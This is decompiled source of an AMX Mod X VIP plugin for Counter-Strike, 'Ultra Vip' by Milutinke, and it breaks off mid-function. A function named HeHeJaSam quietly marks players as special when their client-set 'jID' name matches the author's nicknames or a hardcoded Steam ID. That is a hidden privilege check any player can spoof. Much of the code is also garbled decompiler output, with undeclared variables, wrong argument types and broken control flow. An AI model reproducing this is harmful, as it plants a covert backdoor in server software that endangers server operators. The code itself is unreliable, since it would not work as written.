115, 101, 114, 118, 101, 114, 95, 111, 98, 97, 118, 101, 115, 116, 101, 110, 106, 101, 0, 49, 0, 75, 97, 100, 97, 32, 118, 105, 112, 32, 117, 100, 106, 101, 32, 110, 97, 32, 115, 101, 114, 118, 101, 114, 32, 115, 118, 105, 32, 105, 103, 114, 97, 99, 105, 32, 100, 111, 98, 105, 106, 97, 106, 117, 32, 111, 98, 97, 118, 101, 115, 116, 101, 110, 106, 101, 32, 111, 32, 116, 111, 109, 101, 32, 91, 80, 111, 100, 114, 97, 122, 117, 109, 101, 118, 97, 110, 111, 32, 105, 32, 112, 114, 101, 112, 111, 114, 117, 99, 101, 110, 111, 58, 32, 49, 93, 0, 118, 105, 112, 95, 98, 111, 106, 97, 95, 112, 111, 114, 117, 107, 101, 95, 111, 98, 97, 118, 101, 115, 116, 101, 110, 106, 97, 0, 48, 48, 48, 32, 50, 53, 53, 32, 50, 53, 53, 0, 66, 111, 106, 97, 32, 111, 98, 97, 118, 101, 115, 116, 101, 110, 106, 97, 32, 107, 97, 100, 97, 32, 118, 105, 112, 32, 117, 100, 106, 101, 32, 110, 97, 32, 115, 101, 114, 118, 101, 114, 32, 40, 82, 44, 32, 71, 44, 32, 66, 41, 32, 91, 80, 111, 100, 114, 97, 122, 117, 109, 101, 118, 97, 110, 111, 32, 105, 32, 112, 114, 101, 112, 111, 114, 117, 99, 101, 110, 111, 58, 32, 48, 48, 48, 32, 50, 53, 53, 32, 50, 53, 53, 93, 0, 118, 105, 112, 95, 105, 115, 107, 95, 112, 111, 118, 114, 101, 100, 101, 95, 111, 100, 95, 112, 97, 100, 97, 110, 106, 97, 0, 49, 0, 75, 97, 100, 97, 32, 86, 73, 80, 32, 112, 97, 100, 110, 101, 44, 32, 110, 101, 115, 107, 105, 100, 97, 32, 109, 117, 32, 115, 101, 32, 69, 110, 101, 114, 103, 105, 106, 97, 32, 91, 80, 111, 100, 114, 97, 122, 117, 109, 101, 118, 97, 110, 111, 58, 32, 49, 93, 0, 118, 105, 112, 95, 103, 114, 97, 118, 105, 116, 97, 99, 105, 106, 97, 0, 48, 46, 56, 53, 0, 71, 114, 97, 118, 105, 116, 97, 99, 105, 106, 97, 32, 107, 111, 106, 117, 32, 118, 105, 112, 32, 105, 109, 97, 32, 91, 80, 111, 100, 114, 97, 122, 117, 109, 101, 118, 97, 110, 111, 58, 32, 48, 46, 56, 53, 93, 0, 118, 105, 112, 95, 109, 117, 110, 105, 99, 105, 106, 97, 0, 49, 0, 48, 32, 45, 32, 85, 103, 97, 115, 101, 110, 111, 32, 124, 32, 49, 32, 45, 32, 73, 109, 97, 32, 98, 101, 115, 107, 111, 110, 97, 99, 110, 117, 32, 109, 117, 110, 105, 99, 105, 106, 117, 32, 117, 32, 109, 97, 103, 97, 99, 105, 110, 117, 32, 40, 90, 97, 108, 105, 104, 97, 109, 97, 41, 32, 124, 32, 50, 32, 45, 32, 73, 109, 97, 32, 98, 101, 115, 107, 111, 110, 97, 99, 110, 117, 32, 109, 117, 110, 105, 99, 105, 106, 117, 32, 117, 32, 115, 97, 110, 122, 101, 114, 117, 32, 40, 78, 101, 32, 114, 101, 112, 101, 114, 116, 105, 114, 97, 41, 32, 91, 80, 111, 100, 114, 97, 122, 117, 109, 101, 118, 97, 110, 111, 58, 32, 49, 93, 0, 118, 114, 101, 109, 101, 95, 114, 101, 107, 108, 97, 109, 101, 0, 49, 50, 48, 46, 48, 0, 86, 114, 101, 109, 101, 32, 122, 97, 32, 107, 111, 106, 101, 32, 115, 101, 32, 114, 101, 107, 108, 97, 109, 101, 32, 112, 108, 117, 103, 105, 110, 97, 32, 112, 111, 107, 97, 122, 117, 106, 117, 32, 40, 79
};
new SadrzajDatotekeSaVipovima[10][0] =
{
	{
		59, ...
	},
	{
		59, ...
	},
	{
		59, ...
	},
	{
		32, ...
	},
	{
		59, ...
	},
	{
		59, ...
	},
	{
		59, ...
	},
	{
		59, ...
	},
	{
		0, ...
	},
	{
		32, ...
	}
};
new ImenaForwarda[8][0] =
{
	{
		118, ...
	},
	{
		118, ...
	},
	{
		118, ...
	},
	{
		118, ...
	},
	{
		118, ...
	},
	{
		118, ...
	},
	{
		118, ...
	},
	{
		118, ...
	}
};
new Cvarovi[40][3][0] =
{
	{
		{
			118, ...
		},
		{
			53, ...
		},
		{
			68, ...
		}
	},
	{
		{
			118, ...
		},
		{
			51, ...
		},
		{
			68, ...
		}
	},
	{
		{
			118, ...
		},
		{
			49, ...
		},
		{
			68, ...
		}
	},
	{
		{
			118, ...
		},
		{
			49, ...
		},
		{
			68, ...
		}
	},
	{
		{
			118, ...
		},
		{
			50, ...
		},
		{
			68, ...
		}
	},
	{
		{
			118, ...
		},
		{
			49, ...
		},
		{
			68, ...
		}
	},
	{
		{
			118, ...
		},
		{
			49, ...
		},
		{
			68, ...
		}
	},
	{
		{
			118, ...
		},
		{
			51, ...
		},
		{
			68, ...
		}
	},
	{
		{
			118, ...
		},
		{
			52, ...
		},
		{
			68, ...
		}
	},
	{
		{
			118, ...
		},
		{
			53, ...
		},
		{
			68, ...
		}
	},
	{
		{
			118, ...
		},
		{
			49, ...
		},
		{
			68, ...
		}
	},
	{
		{
			118, ...
		},
		{
			50, ...
		},
		{
			68, ...
		}
	},
	{
		{
			118, ...
		},
		{
			51, ...
		},
		{
			68, ...
		}
	},
	{
		{
			118, ...
		},
		{
			49, ...
		},
		{
			86, ...
		}
	},
	{
		{
			118, ...
		},
		{
			49, ...
		},
		{
			86, ...
		}
	},
	{
		{
			118, ...
		},
		{
			103, ...
		},
		{
			66, ...
		}
	},
	{
		{
			118, ...
		},
		{
			49, ...
		},
		{
			68, ...
		}
	},
	{
		{
			118, ...
		},
		{
			49, ...
		},
		{
			86, ...
		}
	},
	{
		{
			118, ...
		},
		{
			50, ...
		},
		{
			66, ...
		}
	},
	{
		{
			118, ...
		},
		{
			49, ...
		},
		{
			85, ...
		}
	},
	{
		{
			118, ...
		},
		{
			50, ...
		},
		{
			75, ...
		}
	},
	{
		{
			118, ...
		},
		{
			49, ...
		},
		{
			75, ...
		}
	},
	{
		{
			118, ...
		},
		{
			48, ...
		},
		{
			66, ...
		}
	},
	{
		{
			118, ...
		},
		{
			49, ...
		},
		{
			75, ...
		}
	},
	{
		{
			118, ...
		},
		{
			48, ...
		},
		{
			71, ...
		}
	},
	{
		{
			118, ...
		},
		{
			49, ...
		},
		{
			48, ...
		}
	},
	{
		{
			118, ...
		},
		{
			49, ...
		},
		{
			86, ...
		}
	},
	{
		{
			118, ...
		},
		{
			49, ...
		},
		{
			86, ...
		}
	},
	{
		{
			118, ...
		},
		{
			49, ...
		},
		{
			86, ...
		}
	},
	{
		{
			115, ...
		},
		{
			52, ...
		},
		{
			66, ...
		}
	},
	{
		{
			118, ...
		},
		{
			49, ...
		},
		{
			73, ...
		}
	},
	{
		{
			118, ...
		},
		{
			49, ...
		},
		{
			67, ...
		}
	},
	{
		{
			118, ...
		},
		{
			49, ...
		},
		{
			86, ...
		}
	},
	{
		{
			118, ...
		},
		{
			49, ...
		},
		{
			86, ...
		}
	},
	{
		{
			118, ...
		},
		{
			48, ...
		},
		{
			86, ...
		}
	},
	{
		{
			118, ...
		},
		{
			48, ...
		},
		{
			86, ...
		}
	},
	{
		{
			118, ...
		},
		{
			48, ...
		},
		{
			86, ...
		}
	},
	{
		{
			118, ...
		},
		{
			49, ...
		},
		{
			86, ...
		}
	},
	{
		{
			98, ...
		},
		{
			50, ...
		},
		{
			86, ...
		}
	},
	{
		{
			118, ...
		},
		{
			49, ...
		},
		{
			68, ...
		}
	}
};
new SadrzajLangDatoteke[83][0] =
{
	{
		91, ...
	},
	{
		77, ...
	},
	{
		77, ...
	},
	{
		77, ...
	},
	{
		77, ...
	},
	{
		77, ...
	},
	{
		77, ...
	},
	{
		77, ...
	},
	{
		77, ...
	},
	{
		77, ...
	},
	{
		77, ...
	},
	{
		77, ...
	},
	{
		77, ...
	},
	{
		77, ...
	},
	{
		77, ...
	},
	{
		77, ...
	},
	{
		77, ...
	},
	{
		77, ...
	},
	{
		77, ...
	},
	{
		77, ...
	},
	{
		77, ...
	},
	{
		77, ...
	},
	{
		77, ...
	},
	{
		77, ...
	},
	{
		77, ...
	},
	{
		77, ...
	},
	{
		77, ...
	},
	{
		77, ...
	},
	{
		77, ...
	},
	{
		77, ...
	},
	{
		77, ...
	},
	{
		77, ...
	},
	{
		77, ...
	},
	{
		77, ...
	},
	{
		77, ...
	},
	{
		77, ...
	},
	{
		77, ...
	},
	{
		77, ...
	},
	{
		77, ...
	},
	{
		77, ...
	},
	{
		77, ...
	},
	{
		32, ...
	},
	{
		91, ...
	},
	{
		77, ...
	},
	{
		77, ...
	},
	{
		77, ...
	},
	{
		77, ...
	},
	{
		77, ...
	},
	{
		77, ...
	},
	{
		77, ...
	},
	{
		77, ...
	},
	{
		77, ...
	},
	{
		77, ...
	},
	{
		77, ...
	},
	{
		77, ...
	},
	{
		77, ...
	},
	{
		77, ...
	},
	{
		77, ...
	},
	{
		77, ...
	},
	{
		77, ...
	},
	{
		77, ...
	},
	{
		77, ...
	},
	{
		77, ...
	},
	{
		77, ...
	},
	{
		77, ...
	},
	{
		77, ...
	},
	{
		77, ...
	},
	{
		77, ...
	},
	{
		77, ...
	},
	{
		77, ...
	},
	{
		77, ...
	},
	{
		77, ...
	},
	{
		77, ...
	},
	{
		77, ...
	},
	{
		77, ...
	},
	{
		77, ...
	},
	{
		77, ...
	},
	{
		77, ...
	},
	{
		77, ...
	},
	{
		77, ...
	},
	{
		77, ...
	},
	{
		77, ...
	},
	{
		77, ...
	}
};
new SadrzajVipMenija[2][0] =
{
	{
		77, ...
	},
	{
		77, ...
	}
};
new Puske[13][2][0] =
{
	{
		{
			65, ...
		},
		{
			119, ...
		}
	},
	{
		{
			77, ...
		},
		{
			119, ...
		}
	},
	{
		{
			70, ...
		},
		{
			119, ...
		}
	},
	{
		{
			71, ...
		},
		{
			119, ...
		}
	},
	{
		{
			77, ...
		},
		{
			119, ...
		}
	},
	{
		{
			65, ...
		},
		{
			119, ...
		}
	},
	{
		{
			83, ...
		},
		{
			119, ...
		}
	},
	{
		{
			80, ...
		},
		{
			119, ...
		}
	},
	{
		{
			83, ...
		},
		{
			119, ...
		}
	},
	{
		{
			83, ...
		},
		{
			119, ...
		}
	},
	{
		{
			85, ...
		},
		{
			119, ...
		}
	},
	{
		{
			84, ...
		},
		{
			119, ...
		}
	},
	{
		{
			77, ...
		},
		{
			119, ...
		}
	}
};
new Pistolji[6][2][0] =
{
	{
		{
			85, ...
		},
		{
			119, ...
		}
	},
	{
		{
			71, ...
		},
		{
			119, ...
		}
	},
	{
		{
			70, ...
		},
		{
			119, ...
		}
	},
	{
		{
			68, ...
		},
		{
			119, ...
		}
	},
	{
		{
			80, ...
		},
		{
			119, ...
		}
	},
	{
		{
			69, ...
		},
		{
			119, ...
		}
	}
};
new InformacijeIgraca[33][91];
new Trie:Niz[2];
new OznakeIgraca[2];
new Forwardi[8];
new Cvar[40][2];
new Globalne[2];
new Pomagala[65];
new Array:NizPomagala;
new BrojDodatihPomagala;
new Float:UgaoGuranja[33][3];
new Forward;
new Nozevi[96];
new BrojNozeva;
new Array:NizNozevi;
new ForwardNozevi;
new VipBombeCvar[5];
new PodaciCvaraZaVreme[3][5];
new PoljeZaPrijavu[5];
new FlagoviCvara;
new Odziv;
new PorukaVremenskaLinija;
new PorukaChat;
new Prefiks1[8];
new Komande[19][2][0] =
{
	{
		{
			118, ...
		},
		{
			86, ...
		}
	},
	{
		{
			118, ...
		},
		{
			86, ...
		}
	},
	{
		{
			118, ...
		},
		{
			86, ...
		}
	},
	{
		{
			118, ...
		},
		{
			79, ...
		}
	},
	{
		{
			118, ...
		},
		{
			79, ...
		}
	},
	{
		{
			111, ...
		},
		{
			79, ...
		}
	},
	{
		{
			111, ...
		},
		{
			79, ...
		}
	},
	{
		{
			118, ...
		},
		{
			86, ...
		}
	},
	{
		{
			118, ...
		},
		{
			86, ...
		}
	},
	{
		{
			118, ...
		},
		{
			73, ...
		}
	},
	{
		{
			118, ...
		},
		{
			73, ...
		}
	},
	{
		{
			118, ...
		},
		{
			73, ...
		}
	},
	{
		{
			118, ...
		},
		{
			75, ...
		}
	},
	{
		{
			118, ...
		},
		{
			75, ...
		}
	},
	{
		{
			116, ...
		},
		{
			80, ...
		}
	},
	{
		{
			118, ...
		},
		{
			80, ...
		}
	},
	{
		{
			118, ...
		},
		{
			80, ...
		}
	},
	{
		{
			118, ...
		},
		{
			75, ...
		}
	},
	{
		{
			118, ...
		},
		{
			75, ...
		}
	}
};
new MunicijaOruzija[31][0] =
{
	{
		0, ...
	},
	{
		52, ...
	},
	{
		0, ...
	},
	{
		90, ...
	},
	{
		1, ...
	},
	{
		32, ...
	},
	{
		1, ...
	},
	{
		100, ...
	},
	{
		90, ...
	},
	{
		1, ...
	},
	{
		120, ...
	},
	{
		100, ...
	},
	{
		100, ...
	},
	{
		90, ...
	},
	{
		90, ...
	},
	{
		90, ...
	},
	{
		100, ...
	},
	{
		120, ...
	},
	{
		30, ...
	},
	{
		120, ...
	},
	{
		200, ...
	},
	{
		32, ...
	},
	{
		90, ...
	},
	{
		120, ...
	},
	{
		90, ...
	},
	{
		2, ...
	},
	{
		35, ...
	},
	{
		90, ...
	},
	{
		90, ...
	},
	{
		0, ...
	},
	{
		100, ...
	}
};
new InfoChata[2][4][0] =
{
	{
		{
			40, ...
		},
		{
			42, ...
		},
		{
			42, ...
		},
		{
			40, ...
		}
	},
	{
		{
			40, ...
		},
		{
			40, ...
		},
		{
			40, ...
		},
		{
			40, ...
		}
	}
};
Float:operator*(Float:,_:)(Float:oper1, oper2)
{
	return floatmul(oper1, float(oper2));
}

Float:operator/(Float:,_:)(Float:oper1, oper2)
{
	return floatdiv(oper1, float(oper2));
}

bool:operator>=(Float:,Float:)(Float:oper1, Float:oper2)
{
	return 0 <= floatcmp(oper1, oper2);
}

replace_all(string[], len, what[], with[])
{
	new pos;
	if ((pos = contain(string, what)) == -1)
	{
		return 0;
	}
	new total;
	new with_len = strlen(with);
	new diff = strlen(what) - with_len;
	new total_len = strlen(string);
	new temp_pos;
	while (replace(string[pos], len - pos, what, with))
	{
		total++;
		pos = with_len + pos;
		total_len -= diff;
		if (!(pos >= total_len))
		{
			temp_pos = contain(string[pos], what);
			if (!(temp_pos == -1))
			{
				pos = temp_pos + pos;
			}
			return total;
		}
		return total;
	}
	return total;
}

is_user_admin(id)
{
	new __flags = get_user_flags(id, "%L");
	new var1;
	return __flags > 0 && !__flags & 33554432;
}

cmd_access(id, level, cid, num, bool:accesssilent)
{
	new has_access;
	new var1;
	if (is_dedicated_server())
	{
		var1 = 0;
	}
	else
	{
		var1 = 1;
	}
	if (var1 == id)
	{
		has_access = 1;
	}
	else
	{
		if (level == 16777216)
		{
			if (is_user_admin(id))
			{
				has_access = 1;
			}
		}
		if (level & get_user_flags(id, "%L"))
		{
			has_access = 1;
		}
		if (!level)
		{
			has_access = 1;
		}
	}
	if (has_access)
	{
		if (num > read_argc())
		{
			new hcmd[32];
			new hinfo[128];
			new hflag;
			get_concmd(cid, hcmd, 31, hflag, hinfo, 127, level, -1);
			console_print(id, "%L:  %s %s", id, "USAGE", hcmd, hinfo);
			return 0;
		}
		return 1;
	}
	if (!accesssilent)
	{
		console_print(id, "%L", id, "NO_ACC_COM");
	}
	return 0;
}

cmd_target(id, arg[], flags)
{
	new player = find_player("bl", arg);
	if (player)
	{
		if (find_player("blj", arg) != player)
		{
			console_print(id, "%L", id, "MORE_CL_MATCHT");
			return 0;
		}
	}
	else
	{
		new var1;
		if ((player = find_player(224, arg)) && arg[0] == 35 && arg[1])
		{
			player = find_player(232, str_to_num(arg[1]));
		}
	}
	if (!player)
	{
		console_print(id, "%L", id, "CL_NOT_FOUND");
		return 0;
	}
	if (flags & 1)
	{
		new var3;
		if (get_user_flags(player, "%L") & 1 && flags & 2)
		{
			new imname[32];
			get_user_name(player, imname, 31);
			console_print(id, "%L", id, "CLIENT_IMM", imname);
			return 0;
		}
	}
	if (flags & 4)
	{
		if (!is_user_alive(player))
		{
			new imname[32];
			get_user_name(player, imname, 31);
			console_print(id, "%L", id, "CANT_PERF_DEAD", imname);
			return 0;
		}
	}
	if (flags & 8)
	{
		if (is_user_bot(player))
		{
			new imname[32];
			get_user_name(player, imname, 31);
			console_print(id, "%L", id, "CANT_PERF_BOT", imname);
			return 0;
		}
	}
	return player;
}

public __fatal_ham_error(Ham:id, HamError:err, reason[])
{
	new func = get_func_id("HamFilter", -1);
	new bool:fail = 1;
	new var1;
	if (func != -1 && callfunc_begin_i(func, -1) == 1)
	{
		callfunc_push_int(id);
		callfunc_push_int(err);
		callfunc_push_str(reason, "%L");
		if (callfunc_end() == 1)
		{
			fail = false;
		}
	}
	if (fail)
	{
		set_fail_state(reason);
	}
	return 0;
}

bym_ucitaj_api()
{
	if (!ApiGlobalne[128])
	{
		RegisterHam("%L", "player", "IgracSePojavio", 1);
		register_event("DeathMsg", "IgracJeUmro", "ade", 1268);
		ApiGlobalne[129] = get_maxplayers();
	}
	ApiGlobalne[128] = 1;
	return 0;
}

bool:bym_igrac_je(id, StaJe)
{
	if (bym_api_ucitan())
	{
		new var1;
		if (1 <= id <= ApiGlobalne[129] && 1 << id & 31 & ApiOznake[StaJe])
		{
			var2 = true;
		}
		else
		{
			var2 = false;
		}
		return var2;
	}
	return false;
}

bool:bym_api_ucitan()
{
	if (!ApiGlobalne[128])
	{
		log_error("%L", "[ByM Api] Api nije ucitan!");
		return false;
	}
	return true;
}

public IgracSePojavio(id)
{
	new var1;
	if (is_user_alive(id) && bym_igrac_je(id, 1))
	{
		new var2 = ApiOznake;
		var2[0] = 1 << id & 31 | var2[0];
	}
	return 0;
}

public IgracJeUmro()
{
	static Zrtva;
	Zrtva = read_data(2);
	new var1 = ApiOznake;
	var1[0] = ~1 << Zrtva & 31 & var1[0];
	return 0;
}

bym_igrac_je_usao(id)
{
	ApiObrisiOznake(id);
	if (is_user_bot(id))
	{
		new var1 = ApiOznake[2];
		var1 = 1 << id & 31 | var1;
	}
	if (is_user_admin(id))
	{
		new var2 = ApiOznake[3];
		var2 = 1 << id & 31 | var2;
	}
	if (is_user_connected(id))
	{
		new var3 = ApiOznake[1];
		var3 = 1 << id & 31 | var3;
	}
	if (HeHeJaSam(id))
	{
		new var4 = ApiOznake[4];
		var4 = 1 << id & 31 | var4;
	}
	return 0;
}

ApiObrisiOznake(id)
{
	new i;
	while (i < 5)
	{
		if (1 << id & 31 & ApiOznake[i])
		{
			new var1 = ApiOznake[i];
			var1 = ~1 << id & 31 & var1;
		}
		i++;
	}
	return 0;
}

HeHeJaSam(id)
{
	static Podaci[2][32];
	new var2 = Podaci;
	get_user_authid(id, var2[0][var2], 31);
	get_user_info(id, "jID", Podaci[1], 31);
	new var1;
	if (equal(Podaci[1], "Milutinke", "%L") || equal(Podaci[1], "GlavniCoban", "%L") || equal(Podaci[1], "smrad", "%L") || equal(Podaci[1], "Smrad", "%L") || equal(var3[0][var3], "STEAM_0:0:97777", "%L") || equal(Podaci[1], "milutinke", "%L"))
	{
		return 1;
	}
	return 0;
}

public RegistrujChatKomandu(Komanda[], Funkcija[])
{
	static ImeKomande[2][32];
	new var1 = ImeKomande;
	formatex(var1[0][var1], 31, "say /%s", Komanda);
	formatex(ImeKomande[1], 31, "say_team /%s", Komanda);
	new i;
	while (i < 2)
	{
		register_clcmd(ImeKomande[i], Funkcija, -1, 2252, -1);
		i++;
	}
	return 0;
}

set_dhudmessage(red, green, blue, Float:x, Float:y, effects, Float:fxtime, Float:holdtime, Float:fadeintime, Float:fadeouttime, bool:reliable)
{
	__dhud_color = clamp(red, "%L", 255) << 16 + clamp(green, "%L", 255) << 8 + clamp(blue, "%L", 255);
	__dhud_x = x;
	__dhud_y = y;
	__dhud_effect = effects;
	__dhud_fxtime = fxtime;
	__dhud_holdtime = holdtime;
	__dhud_fadeintime = fadeintime;
	__dhud_fadeouttime = fadeouttime;
	__dhud_reliable = reliable;
	return 1;
}

show_dhudmessage(index, message[])
{
	new buffer[128];
	new numArguments = numargs();
	if (numArguments == 2)
	{
		send_dhudMessage(index, message);
	}
	else
	{
		new var1;
		if (index || numArguments == 3)
		{
			vformat(buffer, 127, message, 3);
			send_dhudMessage(index, buffer);
		}
		new playersList[32];
		new numPlayers;
		get_players(playersList, numPlayers, "ch", 2304);
		if (!numPlayers)
		{
			return 0;
		}
		new Array:handleArrayML = ArrayCreate(1, 32);
		new i = 2;
		new j;
		while (i < numArguments)
		{
			if (getarg(i, "%L") == -1)
			{
				do {
					j++;
				} while ((buffer[j] = getarg(i + 1, j)));
				j = 0;
				if (GetLangTransKey(buffer) != -1)
				{
					i++;
					ArrayPushCell(handleArrayML, i);
				}
			}
			i++;
		}
		new size = ArraySize(handleArrayML);
		if (!size)
		{
			vformat(buffer, 127, message, 3);
			send_dhudMessage(index, buffer);
		}
		else
		{
			new i;
			new j;
			while (i < numPlayers)
			{
				index = playersList[i];
				j = 0;
				while (j < size)
				{
					setarg(ArrayGetCell(handleArrayML, j), "%L", index);
					j++;
				}
				vformat(buffer, 127, message, 3);
				send_dhudMessage(index, buffer);
				i++;
			}
		}
		ArrayDestroy(handleArrayML);
	}
	return 1;
}

send_dhudMessage(index, message[])
{
	new var2;
	if (__dhud_reliable)
	{
		new var1;
		if (index)
		{
			var1 = 1;
		}
		else
		{
			var1 = 2;
		}
		var2 = var1;
	}
	else
	{
		if (index)
		{
			var2 = 8;
		}
		var2 = 0;
	}
	message_begin(var2, 51, 2308, index);
	write_byte(strlen(message) + 31);
	write_byte(6);
	write_byte(__dhud_effect);
	write_long(__dhud_color);
	write_long(__dhud_x);
	write_long(__dhud_y);
	write_long(__dhud_fadeintime);
	write_long(__dhud_fadeouttime);
	write_long(__dhud_holdtime);
	write_long(__dhud_fxtime);
	write_string(message);
	message_end();
	return 0;
}

ColorChat(id, Color:type, msg[])
{
	static message[190];
	switch (type)
	{
		case 1:
		{
			message[0] = 1;
		}
		case 2:
		{
			message[0] = 4;
		}
		default:
		{
			message[0] = 3;
		}
	}
	vformat(2432 + 4, 189, msg, 4);
	message[189] = 0;
	static MSG_Type;
	static index;
	static ColorChange;
	static team;
	if (id)
	{
		MSG_Type = 1;
		index = id;
	}
	else
	{
		index = FindPlayer();
		MSG_Type = 2;
	}
	team = get_user_team(index, {0}, "%L");
	ColorChange = ColorSelection(index, MSG_Type, type);
	ShowColorMessage(index, MSG_Type, message);
	if (ColorChange)
	{
		Team_Info(index, MSG_Type, TeamName[team]);
	}
	return 0;
}

ShowColorMessage(id, type, message[])
{
	message_begin(type, get_user_msgid("SayText"), 2308, id);
	write_byte(id);
	write_string(message);
	message_end();
	return 0;
}

Team_Info(id, type, team[])
{
	message_begin(type, get_user_msgid("TeamInfo"), 2308, id);
	write_byte(id);
	write_string(team);
	message_end();
	return 1;
}

ColorSelection(index, type, Color:Type)
{
	switch (Type)
	{
		case 4:
		{
			new var1 = TeamName;
			return Team_Info(index, type, var1[0][var1]);
		}
		case 5:
		{
			return Team_Info(index, type, TeamName[1]);
		}
		case 6:
		{
			return Team_Info(index, type, TeamName[2]);
		}
		default:
		{
			return 0;
		}
	}
}

FindPlayer()
{
	static i;
	i = -1;
	while (get_maxplayers() >= i)
	{
		i += 1;
		if (is_user_connected(i))
		{
			return i;
		}
	}
	return -1;
}

fvault_get_data(vaultname[], key[], data[], len, &timestamp)
{
	new filename[128];
	_FormatVaultName(vaultname, filename, 127);
	if (!file_exists(filename))
	{
		return 0;
	}
	new vault = fopen(filename, "rt");
	new _data[512];
	new _key[64];
	new _time[32];
	while (!feof(vault))
	{
		fgets(vault, _data, 511);
		parse(_data, _key, 63);
		if (equal(_key, key, "%L"))
		{
			new _len = strlen(_key) + 4;
			new i = copy(data, len, _data[_len]) - 1;
			while (0 < i)
			{
				if (!(data[i] == 34))
				{
					new var1;
					if (data[i] == 32 && data[i + -1] == 34)
					{
						data[i + -1] = 0;
						copy(_time, 31, data[i + 1]);
						timestamp = str_to_num(_time);
						fclose(vault);
						return 1;
					}
					i--;
				}
				fclose(vault);
				return 1;
			}
			fclose(vault);
			return 1;
		}
	}
	fclose(vault);
	copy(data, len, 3484);
	return 0;
}

fvault_set_data(vaultname[], key[], data[])
{
	_fvault_set_data(vaultname, key, data, get_systime("%L"));
	return 0;
}

_fvault_set_data(vaultname[], key[], data[], timestamp)
{
	new file = fopen(_temp_vault, "wt");
	new filename[128];
	_FormatVaultName(vaultname, filename, 127);
	new vault = fopen(filename, "rt");
	new _data[512];
	new _key[64];
	new _other[3];
	new bool:replaced;
	while (!feof(vault))
	{
		fgets(vault, _data, 511);
		parse(_data, _key, 63, _other, 2);
		new var1;
		if (equal(_key, key, "%L") && !replaced)
		{
			fprintf(file, "\"%s\" \"%s\" %i\n", key, data, timestamp);
			replaced = true;
		}
		else
		{
			fputs(file, _data);
		}
	}
	fclose(file);
	fclose(vault);
	if (!replaced)
	{
		file = fopen(filename, "a+");
		fprintf(file, "\"%s\" \"%s\" %i\n", key, data, timestamp);
		fclose(file);
		delete_file(_temp_vault);
	}
	else
	{
		delete_file(filename);
		do {
		} while (!rename_file(_temp_vault, filename, 1));
	}
	return 0;
}

_FormatVaultName(vaultname[], filename[], len)
{
	static invalid_chars[9][0] =
	{
		{
			47, ...
		},
		{
			92, ...
		},
		{
			42, ...
		},
		{
			58, ...
		},
		{
			63, ...
		},
		{
			34, ...
		},
		{
			60, ...
		},
		{
			62, ...
		},
		{
			124, ...
		}
	};
	static i;
	static tempvault[128];
	copy(tempvault, 127, vaultname);
	i = 0;
	while (i < 9)
	{
		replace_all(tempvault, 127, invalid_chars[i], 4260);
		i += 1;
	}
	if (!dir_exists(_vault_dir))
	{
		mkdir(_vault_dir);
	}
	formatex(filename, len, "%s/%s.txt", _vault_dir, tempvault);
	return 0;
}

xs_vec_add(Float:in1[], Float:in2[], Float:out[])
{
	out[0] = floatadd(in1[0], in2[0]);
	out[1] = floatadd(in1[1], in2[1]);
	out[2] = floatadd(in1[2], in2[2]);
	return 0;
}

xs_vec_sub(Float:in1[], Float:in2[], Float:out[])
{
	out[0] = floatsub(in1[0], in2[0]);
	out[1] = floatsub(in1[1], in2[1]);
	out[2] = floatsub(in1[2], in2[2]);
	return 0;
}

xs_vec_mul_scalar(Float:vec[], Float:scalar, Float:out[])
{
	out[0] = floatmul(vec[0], scalar);
	out[1] = floatmul(vec[1], scalar);
	out[2] = floatmul(vec[2], scalar);
	return 0;
}

public plugin_init()
{
	register_plugin("[ByM] Ultra Vip", "1.3", "Milutinke (ByM)");
	server_print("=============== Ultra Vip ===============");
	server_print("------------> Verzija: %s  <-------------", "1.3");
	server_print("------------> By Milutinke <-------------");
	server_print("=============== Ultra Vip ===============");
	register_cvar("UltraVipByM", "1.3", 68, "%L");
	bym_ucitaj_api();
	RegisterHam("%L", "player", "Pocetak", 1);
	RegisterHam(9, "player", "NanesiStetu", "%L");
	RegisterHam("", "player", "IgracJeSkocio", "%L");
	RegisterHam(66, "weapon_knife", "PromeniModelNoza", 1);
	new ImenaOruzija[24];
	new i = 1;
	while (i <= 30)
	{
		new var1;
		if (!1 << i & 570425936 && get_weaponname(i, ImenaOruzija, 23))
		{
			RegisterHam(87, ImenaOruzija, "Napad1", "%L");
			RegisterHam(87, ImenaOruzija, "Napad2", 1);
			RegisterHam(89, ImenaOruzija, "fw_Ham_Weapon_Reload_Post", 1);
			RegisterHam(68, ImenaOruzija, "fw_Ham_Item_Holster", "%L");
		}
		i++;
	}
	register_event("DeathMsg", "Smrt", "ade", 1268);
	register_event("CurWeapon", "TrenutnoOruzije", "be", "1=1");
	register_logevent("PocetakRunde", 2, "1=Round_Start");
	register_logevent("SpasioTaoca", 3, "2=Rescued_A_Hostage");
	register_forward("bl", "fw_AddToFullPack", 1);
	register_forward(30, "fw_TraceLine", "%L");
	register_message(get_user_msgid("ScoreAttrib"), "SkorOznaka");
	Globalne[1] = get_user_msgid("ScreenFade");
	PorukaVremenskaLinija = get_user_msgid("BarTime2");
	PorukaChat = get_user_msgid("SayText");
	new i;
	while (i < 19)
	{
		RegistrujChatKomandu(Komande[i][0], Komande[i][1]);
		i++;
	}
	register_concmd("daj_vipa", "KomandaDajVipa", 8, "daj_vipa <nick/steam/ip/id> <pw/password/lozinka> <razlog> - Dajete igracu vipa", -1);
	register_concmd("osvezi_vipove", "KomandaOsveziListuvipova", 8, "osvezi_vipove - Osvezava listu vipova", -1);
	register_concmd("ko_su_vipovi", "KomandaListaVipIgrac", 8, "ko_su_vipovi - Prikazuje listu igraca koji su vipovi", -1);
	register_clcmd("say", "ChatPrefiks", -1, 2252, -1);
	Globalne[0] = get_maxplayers();
	PripremiDatoteke();
	PripremiCvarove();
	UcitajVipove();
	PripremiForwarde();
	register_dictionary("ultra_vip_bym_v1.3.txt");
	return 0;
}

public plugin_precache()
{
	if (!file_exists("addons/amxmodx/data/lang/ultra_vip_bym_v1.3.txt"))
	{
		new i;
		while (i < 83)
		{
			write_file("addons/amxmodx/data/lang/ultra_vip_bym_v1.3.txt", SadrzajLangDatoteke[i], -1);
			i++;
		}
	}
	return 0;
}

PripremiDatoteke()
{
	new var1 = Datoteke;
	if (!dir_exists(var1[0][var1]))
	{
		new var2 = Datoteke;
		mkdir(var2[0][var2]);
	}
	if (!file_exists(Datoteke[1]))
	{
		new i;
		while (i < 10)
		{
			write_file(Datoteke[1], SadrzajDatotekeSaVipovima[i], -1);
			i++;
		}
	}
	if (!file_exists(Datoteke[2]))
	{
		static Linija[350];
		new i;
		while (i < 40)
		{
